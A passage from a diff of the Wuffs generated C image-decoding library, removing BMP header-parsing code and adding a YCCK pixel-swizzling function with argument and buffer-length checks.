status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } else if (v_width > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_width = v_width; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); +- uint32_t t_8; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; +- if (num_bits_8 == 24) { +- t_8 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_8 += 8u; +- *scratch |= ((uint64_t)(num_bits_8)) << 56; +- } +- } +- v_height = t_8; +- } +- if (v_height > 2147483647u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } else if (v_height > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_height = v_height; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); +- uint32_t t_9; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_9 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; +- if (num_bits_9 == 8) { +- t_9 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_9 += 8u; +- *scratch |= ((uint64_t)(num_bits_9)) << 56; +- } +- } +- v_planes = t_9; +- } +- if (v_planes != 1u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); +- uint32_t t_10; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_10 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; +- if (num_bits_10 == 8) { +- t_10 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_10 += 8u; +- *scratch |= ((uint64_t)(num_bits_10)) << 56; +- } +- } +- self->private_impl.f_bits_per_pixel = t_10; +- } +- } else { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); +- uint32_t t_11; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; +- if (num_bits_11 == 24) { +- t_11 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_11 += 8u; +- *scratch |= ((uint64_t)(num_bits_11)) << 56; +- } +- } +- v_width = t_11; +- } +- if (v_width > 2147483647u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } else if (v_width > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_width = v_width; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); +- uint32_t t_12; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_12 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; +- if (num_bits_12 == 24) { +- t_12 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_12 += 8u; +- *scratch |= ((uint64_t)(num_bits_12)) << 56; +- } +- } +- v_height = t_12; +- } +- if (v_height == 2147483648u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } else if (v_height > 2147483648u) { +- v_height = ((uint32_t)(0u - v_height)); +- if (v_height > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_height = v_height; +- self->private_impl.f_top_down = true; +- } else if (v_height > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } else { +- self->private_impl.f_height = v_height; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); +- uint32_t t_13; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_13 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_13 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_13; +- if (num_bits_13 == 8) { +- t_13 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_13 += 8u; +- *scratch |= ((uint64_t)(num_bits_13)) << 56; +- } ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; ++ ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 480u), // ++ src0_major + ((x - x_min_incl) / inv_h0), // ++ src0_major + ((x - x_min_incl) / inv_h0), // ++ src_len0, // ++ 0u, false, false); ++ ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 480u), // ++ src1_major + ((x - x_min_incl) / inv_h1), // ++ src1_major + ((x - x_min_incl) / inv_h1), // ++ src_len1, // ++ 0u, false, false); ++ ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 480u), // ++ src2_major + ((x - x_min_incl) / inv_h2), // ++ src2_major + ((x - x_min_incl) / inv_h2), // ++ src_len2, // ++ 0u, false, false); ++ ++ const uint8_t* up3 = (*upfunc3)( // ++ scratch_buffer_2k_ptr + (3u * 480u), // ++ src3_major + ((x - x_min_incl) / inv_h3), // ++ src3_major + ((x - x_min_incl) / inv_h3), // ++ src_len3, // ++ 0u, false, false); ++ ++ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); ++ x = end; ++ } ++ } ++} ++ ++// -------- ++ ++// wuffs_private_impl__swizzle_flattened_length is like ++// wuffs_base__table__flattened_length but returns uint64_t (not size_t) and ++// also accounts for subsampling. ++static uint64_t // ++wuffs_private_impl__swizzle_flattened_length(uint32_t width, ++ uint32_t height, ++ uint32_t stride, ++ uint32_t inv_h, ++ uint32_t inv_v) { ++ uint64_t scaled_width = (((uint64_t)width) + (inv_h - 1u)) / inv_h; ++ uint64_t scaled_height = (((uint64_t)height) + (inv_v - 1u)) / inv_v; ++ if (scaled_height <= 0u) { ++ return 0u; ++ } ++ return ((scaled_height - 1u) * stride) + scaled_width; ++} ++ ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_swizzler__swizzle_ycck( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_buffer* dst, ++ wuffs_base__slice_u8 dst_palette, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ wuffs_base__slice_u8 src0, ++ wuffs_base__slice_u8 src1, ++ wuffs_base__slice_u8 src2, ++ wuffs_base__slice_u8 src3, ++ uint32_t width0, ++ uint32_t width1, ++ uint32_t width2, ++ uint32_t width3, ++ uint32_t height0, ++ uint32_t height1, ++ uint32_t height2, ++ uint32_t height3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint8_t h0, ++ uint8_t h1, ++ uint8_t h2, ++ uint8_t h3, ++ uint8_t v0, ++ uint8_t v1, ++ uint8_t v2, ++ uint8_t v3, ++ bool is_rgb_or_cmyk, ++ bool triangle_filter_for_2to1, ++ wuffs_base__slice_u8 scratch_buffer_2k) { ++ if (!p) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } else if (!dst || // ++ (x_min_incl > x_max_excl) || // ++ (x_max_excl > 0xFFFFu) || // ++ (y_min_incl > y_max_excl) || // ++ (y_max_excl > 0xFFFFu) || // ++ (4u <= ((unsigned int)h0 - 1u)) || // ++ (4u <= ((unsigned int)h1 - 1u)) || // ++ (4u <= ((unsigned int)h2 - 1u)) || // ++ (4u <= ((unsigned int)v0 - 1u)) || // ++ (4u <= ((unsigned int)v1 - 1u)) || // ++ (4u <= ((unsigned int)v2 - 1u)) || // ++ (triangle_filter_for_2to1 && ((x_min_incl | y_min_incl) > 0u)) || ++ (scratch_buffer_2k.len < 2048u)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((h3 != 0u) || (v3 != 0u)) { ++ if ((4u <= ((unsigned int)h3 - 1u)) || // ++ (4u <= ((unsigned int)v3 - 1u))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ } ++ ++ uint32_t max_incl_h = wuffs_private_impl__u32__max_of_4(h0, h1, h2, h3); ++ uint32_t max_incl_v = wuffs_private_impl__u32__max_of_4(v0, v1, v2, v3); ++ ++ // Calculate the inverse h and v ratios. ++ // ++ // It also canonicalizes (h=2 and max_incl_h=4) as equivalent to (h=1 and ++ // max_incl_h=2). In both cases, the inv_h value is 2. ++ uint32_t inv_h0 = max_incl_h / h0; ++ uint32_t inv_h1 = max_incl_h / h1; ++ uint32_t inv_h2 = max_incl_h / h2; ++ uint32_t inv_h3 = h3 ? (max_incl_h / h3) : 0u; ++ uint32_t inv_v0 = max_incl_v / v0; ++ uint32_t inv_v1 = max_incl_v / v1; ++ uint32_t inv_v2 = max_incl_v / v2; ++ uint32_t inv_v3 = v3 ? (max_incl_v / v3) : 0u; ++ ++ if (x_min_incl != 0) { ++ if ((x_min_incl % inv_h0) || (x_min_incl % inv_h1) || ++ (x_min_incl % inv_h2) || (inv_h3 && (x_min_incl % inv_h3))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ } ++ if (y_min_incl != 0) { ++ if ((y_min_incl % inv_v0) || (y_min_incl % inv_v1) || ++ (y_min_incl % inv_v2) || (inv_v3 && (y_min_incl % inv_v3))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ } ++ ++ uint32_t half_width_for_2to1 = ((x_max_excl - x_min_incl) + 1u) / 2u; ++ if (inv_h0 == 2) { ++ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width0); ++ } ++ if (inv_h1 == 2) { ++ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width1); ++ } ++ if (inv_h2 == 2) { ++ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width2); ++ } ++ if (inv_h3 == 2) { ++ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width3); ++ } ++ ++ uint32_t half_height_for_2to1 = ((y_max_excl - y_min_incl) + 1u) / 2u; ++ if (inv_v0 == 2) { ++ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height0); ++ } ++ if (inv_v1 == 2) { ++ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height1); ++ } ++ if (inv_v2 == 2) { ++ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height2); ++ } ++ if (inv_v3 == 2) { ++ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height3); ++ } ++ ++ x_max_excl = wuffs_base__u32__min( // ++ wuffs_base__pixel_config__width(&dst->pixcfg), // ++ x_min_incl + wuffs_private_impl__u32__min_of_5( // ++ x_max_excl - x_min_incl, // ++ width0 * inv_h0, // ++ width1 * inv_h1, // ++ width2 * inv_h2, // ++ inv_h3 ? (width3 * inv_h3) : 0xFFFFFFFF)); ++ y_max_excl = wuffs_base__u32__min( // ++ wuffs_base__pixel_config__height(&dst->pixcfg), // ++ y_min_incl + wuffs_private_impl__u32__min_of_5( // ++ y_max_excl - y_min_incl, // ++ height0 * inv_v0, // ++ height1 * inv_v1, // ++ height2 * inv_v2, // ++ inv_v3 ? (height3 * inv_v3) : 0xFFFFFFFF)); ++ ++ if ((x_min_incl >= x_max_excl) || (y_min_incl >= y_max_excl)) { ++ return wuffs_base__make_status(NULL); ++ } ++ uint32_t width = x_max_excl - x_min_incl; ++ uint32_t height = y_max_excl - y_min_incl; ++ ++ if (((h0 * inv_h0) != max_incl_h) || // ++ ((h1 * inv_h1) != max_incl_h) || // ++ ((h2 * inv_h2) != max_incl_h) || // ++ ((v0 * inv_v0) != max_incl_v) || // ++ ((v1 * inv_v1) != max_incl_v) || // ++ ((v2 * inv_v2) != max_incl_v) || // ++ (src0.len < wuffs_private_impl__swizzle_flattened_length( ++ width, height, stride0, inv_h0, inv_v0)) || ++ (src1.len < wuffs_private_impl__swizzle_flattened_length( ++ width, height, stride1, inv_h1, inv_v1)) || ++ (src2.len < wuffs_private_impl__swizzle_flattened_length( ++ width, height, stride2, inv_h2, inv_v2))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((h3 != 0u) || (v3 != 0u)) { ++ if (((h3 * inv_h3) != max_incl_h) || // ++ ((v3 * inv_v3) != max_incl_v) || // ++ (src3.len < wuffs_private_impl__swizzle_flattened_length( ++ width, height, stride3, inv_h3, inv_v3))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ } ++ ++ if (wuffs_base__pixel_format__is_planar(&dst->pixcfg.private_impl.pixfmt)) { ++ // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. ++ return wuffs_base__make_status( ++ wuffs_base__error__unsupported_pixel_swizzler_option); ++ } ++ ++ // ---- ++ ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) ++ switch (dst->pixcfg.private_impl.pixfmt.repr) { ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR_565) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL_4X16LE) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_PREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGB) ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_NONPREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_PREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ break; ++#endif ++ default: ++ return wuffs_base__make_status( ++ wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist); ++ } ++#else // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) ++ switch (dst->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ break; ++ ++ default: ++ // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. ++ return wuffs_base__make_status( ++ wuffs_base__error__unsupported_pixel_swizzler_option); ++ } ++#endif // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) ++ ++ // ---- ++ ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func = NULL; ++ ++ if (is_rgb_or_cmyk) { ++ conv3func = &wuffs_private_impl__swizzle_rgb__convert_3_general; ++ } else { ++ switch (dst->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ if (wuffs_base__cpu_arch__have_x86_avx2()) { ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2; ++ break; + } +- v_planes = t_13; +- } +- if (v_planes != 1u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); +- uint32_t t_14; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_14 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_14 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_14; +- if (num_bits_14 == 8) { +- t_14 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_14 += 8u; +- *scratch |= ((uint64_t)(num_bits_14)) << 56; +- } ++#endif ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_bgrx; ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ if (wuffs_base__cpu_arch__have_x86_avx2()) { ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2; ++ break; + } +- self->private_impl.f_bits_per_pixel = t_14; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); +- uint32_t t_15; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; +- if (num_bits_15 == 24) { +- t_15 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_15 += 8u; +- *scratch |= ((uint64_t)(num_bits_15)) << 56; +- } +- } +- self->private_impl.f_compression = t_15; +- } +- if (self->private_impl.f_bits_per_pixel == 0u) { +- if (self->private_impl.f_compression == 4u) { +- self->private_impl.f_io_redirect_fourcc = 1246774599u; +- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); +- goto ok; +- } else if (self->private_impl.f_compression == 5u) { +- self->private_impl.f_io_redirect_fourcc = 1347307296u; +- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); +- goto ok; +- } +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- self->private_data.s_do_decode_image_config[0].scratch = 20u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(34); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- if (self->private_impl.f_bitmap_info_len == 40u) { +- if (self->private_impl.f_bits_per_pixel >= 16u) { +- if (self->private_impl.f_padding >= 16u) { +- self->private_impl.f_bitmap_info_len = 56u; +- self->private_impl.f_padding -= 16u; +- } else if (self->private_impl.f_padding >= 12u) { +- self->private_impl.f_bitmap_info_len = 52u; +- self->private_impl.f_padding -= 12u; +- } +- } +- } else if ((self->private_impl.f_bitmap_info_len != 52u) && +- (self->private_impl.f_bitmap_info_len != 56u) && +- (self->private_impl.f_bitmap_info_len != 64u) && +- (self->private_impl.f_bitmap_info_len != 108u) && +- (self->private_impl.f_bitmap_info_len != 124u)) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- if (self->private_impl.f_compression == 6u) { +- self->private_impl.f_compression = 3u; +- } +- if (self->private_impl.f_compression == 3u) { +- if (self->private_impl.f_bitmap_info_len >= 52u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(35); +- uint32_t t_16; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(36); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; +- if (num_bits_16 == 24) { +- t_16 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_16 += 8u; +- *scratch |= ((uint64_t)(num_bits_16)) << 56; +- } +- } +- self->private_impl.f_channel_masks[2u] = t_16; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(37); +- uint32_t t_17; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_17 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(38); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_17 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_17; +- if (num_bits_17 == 24) { +- t_17 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_17 += 8u; +- *scratch |= ((uint64_t)(num_bits_17)) << 56; +- } +- } +- self->private_impl.f_channel_masks[1u] = t_17; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(39); +- uint32_t t_18; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_18 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(40); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_18 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; +- if (num_bits_18 == 24) { +- t_18 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_18 += 8u; +- *scratch |= ((uint64_t)(num_bits_18)) << 56; +- } +- } +- self->private_impl.f_channel_masks[0u] = t_18; +- } +- if (self->private_impl.f_bitmap_info_len >= 56u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(41); +- uint32_t t_19; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_19 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(42); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_19 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_19; +- if (num_bits_19 == 24) { +- t_19 = 